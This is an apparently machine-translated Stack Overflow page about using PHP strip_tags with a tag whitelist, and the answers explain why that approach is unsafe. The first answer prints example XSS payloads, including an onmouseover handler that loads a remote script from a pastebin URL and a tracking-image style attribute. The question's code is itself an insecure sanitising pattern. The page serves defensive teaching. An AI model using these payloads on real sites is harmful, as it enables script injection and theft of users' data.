【问题标题】:PHP "strip_tags" accept all except scriptPHP“strip_tags”接受除脚本之外的所有内容
【发布时间】:2013-02-27 11:06:15
【问题描述】:

我正在发布或保存该页面之前创建一个页面预览。我目前遇到的,忘记在允许列表中添加<h1> <h2> <h3> etc标签,但后来添加了。

我想允许除<script> 标签之外的所有 HTML 标签,到目前为止我想出了这个列表:

public static function tags() {
    return '<p><a><hr><br><table><thead><tbody><tr><td><th><tfoot><span><div><ul><ol><li><img>' .
        '<canvas><video><object><embed><audio><frame><iframe><label><option><select><option>' .
        '<input><textarea><button><form><param><pre><code><small><em><b><u><i><strong><article>' .
        '<aside><bdi><details><summary><figure><figcaption><footer><header><hgroup><mark><meter>' .
        '<nav><progress><ruby><rt><rp><section><time><wbr><track><source><datalist><output><keygen>' .
        '<h1><h2><h3><h4><h5><h6><h7><h8><h9>';
}

所以我像这样使用这个静态方法:

$model->content = strip_tags($_POST['contents'], HTML5Custom::tags());

我错过了那里的任何标签吗?

我主要关注 HTML5 规范中的 AVAILABLE 标签,所有在 HTML5 中不推荐使用的 HTML4(及更低版本)标签都不在列表中。

【问题讨论】:

    标签: php html tags strip-tags


    【解决方案1】:

    请不要使用 strip_tags,它不安全且不可靠 - 请阅读以下关于 strip_tags 的讨论,了解您应该使用什么:

    Strip_tags discussion on reddit.com

    :: Reddit 帖子详情 ::

    strip_tags 是常用的首选函数之一,用于使网页上的用户输入安全显示。但与它听起来的用途相反,strip_tags 从来都不是用于此目的的正确函数,它有很多问题。原因如下:

    1. 它可以吃掉合法的文本。它变成“这表明 x' 它会 继续吃评论中的其余行。 (它可以防止 例如,人们讨论 HTML。)
    2. 它不会阻止键入的 HTML 实体。人们可以(并且确实)利用 以绕过单词过滤器和垃圾邮件过滤器。
    3. 使用第二个参数来允许一些标签是 100% 危险的。它 一开始是无辜的:有人想允许简单的格式化 用户 cmets 并执行以下操作:

    关于 strip_tags() 每个人都应该知道的事情

    strip_tags 是常用的首选函数之一,用于使网页上的用户输入安全显示。但与它听起来的用途相反,strip_tags 从来都不是用于此目的的正确函数,它有很多问题。原因如下:

    • 它可以吃掉合法的文本。它变成“这表明 x',否则它将继续吃掉评论中的其余行。 (例如,它阻止人们讨论 HTML。)

    • 它不会阻止键入的 HTML 实体。人们可以(并且确实)利用它绕过单词过滤器和垃圾邮件过滤器。

    • 使用第二个参数来允许一些标签是 100% 危险的。它一开始是无辜的:有人想在用户 cmets 中允许简单的格式化,然后做了这样的事情:

      $message = strip_tags($message, '');

    但标签上的属性不会被删除。所以我可以到你的网站发表这样的评论:

    <b style="color:red;font-size:100pt;text-decoration:blink">hello</b>
    

    突然之间,我可以使用任何我想要的格式。或者我可以这样做:

    <b style="background:url(http://someserver/transparent.gif);font-weight:normal">hello</b>
    

    使用我可以跟踪用户在他们或您不知情的情况下浏览您的网站。

    或者如果我特别邪恶,我可以这样做:

    <b onmouseover="s=document.createElement('script');s.src='http://pastebin.com/raw.php?i=j1Vhq2aJ';document.getElementsByTagName('head')[0].appendChild(s)">hello</b>
    

    使用它,我可以将自己的脚本注入您的网站,由某人的光标移动到我的评论上触发。这样的脚本会以页面的全部权限在用户的浏览器中运行,因此非常危险。它可以窃取或删除私人用户数据。它可以更改页面的任何部分,例如显示虚假消息或震撼图像。它可能会利用您网站的声誉来诱骗用户下载恶意软件。一条评论甚至可以通过提交查看该评论的用户的新 cmets 迅速传播到整个网站。

    您不能夸大使用第二个参数的危险。如果有人足够关心,它可能会被利用来造成彻底的破坏。

    即使对于已知的安全文本,第二个参数也不能正常工作。像strip_tags('text in which we want line breaks&lt;br/&gt;but no formatting', '&lt;br&gt;') 这样的用法仍然会去掉中断,因为它会将“/”视为标签名称的一部分。

    如果您只是想在用户提交的输入中阻止 HTML 和格式化,以便在网页上显示与键入的文本完全相同的文本,那么正确的函数是 htmlspecialchars。如果要显示多行,请使用 nl2br ,否则文本将显示在一行上。 (++Edit:你应该知道你使用的是什么字符集(如果你不知道,目标是在任何地方使用 UTF-8,因为它正在成为一种网络标准)。如果你使用的是奇怪的不兼容 ASCII 的字符集字符集,您必须将其指定为 htmlspecialchars 的第二个参数才能正常工作。)

    当您希望允许格式化时,可以使用适当的预设计库来安全使用各种语法,包括 HTML、Markdown、BBCode 和 Wikitext。

    当您想要允许格式化时,您应该使用为此而设计的适当库。 Markdown(在 Reddit 上使用)是一种用户友好的格式化语法,但正如下面 flyfirefox 解释的那样,它允许 HTML 并且本身并不安全。 (它是格式化程序而不是消毒剂)。使用 HTML Purifier 之类的清理程序可以完全安全地使用 HTML 和/或 Markdown 进行格式化,它可以完成 strip_tags 应该做的事情。 BBCode 是另一种选择。

    如果您觉得有必要制作自己的格式化程序,即使是一个简单的格式化程序,请查看现有实现以了解它们的作用,因为要使它们可靠和安全涉及到许多令人惊讶的细微之处。

    使用 strip_tags 的唯一合适时机是删除应该存在的 HTML,而现在您正在转换为非 HTML 格式。例如,如果您有一些格式化为 HTML 的内容,现在您想将其写入纯文本文件,则使用 strip_tags,然后使用 htmlspecialchars_decode 或 html_entity_decode 即可。 (在这种情况下,strip_tags 不会有删除合法文本的缺陷,因为该文本在被制作成 HTML 时应该已经作为实体正确转义。)

    通常,strip_tags 只是错误的函数。永远不要使用它。如果你这样做了,绝对不要使用第二个参数,因为迟早有人会滥用它。

    【讨论】:

    • 您能否在此处添加该讨论的重要部分?
    【解决方案2】:

    在这种情况下,与白名单相比,将其列入黑名单会更容易,否则您将不得不不断地重新访问此脚本并对其进行更新。

    另外,strip_tags() 不可靠地确保 HTML 安全,仍然可以在属性中注入 javascript,例如 onmouseover="alert('hax');,它会通过 strip_tags() 就好了。

    我的 HTML 过滤/清理的首选库是 HTML Purifier

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2013-05-08
      • 2011-09-21
      • 2017-03-28
      • 1970-01-01
      • 2021-02-13
      • 2010-11-26
      • 2018-07-12
      • 1970-01-01
      相关资源
      最近更新 更多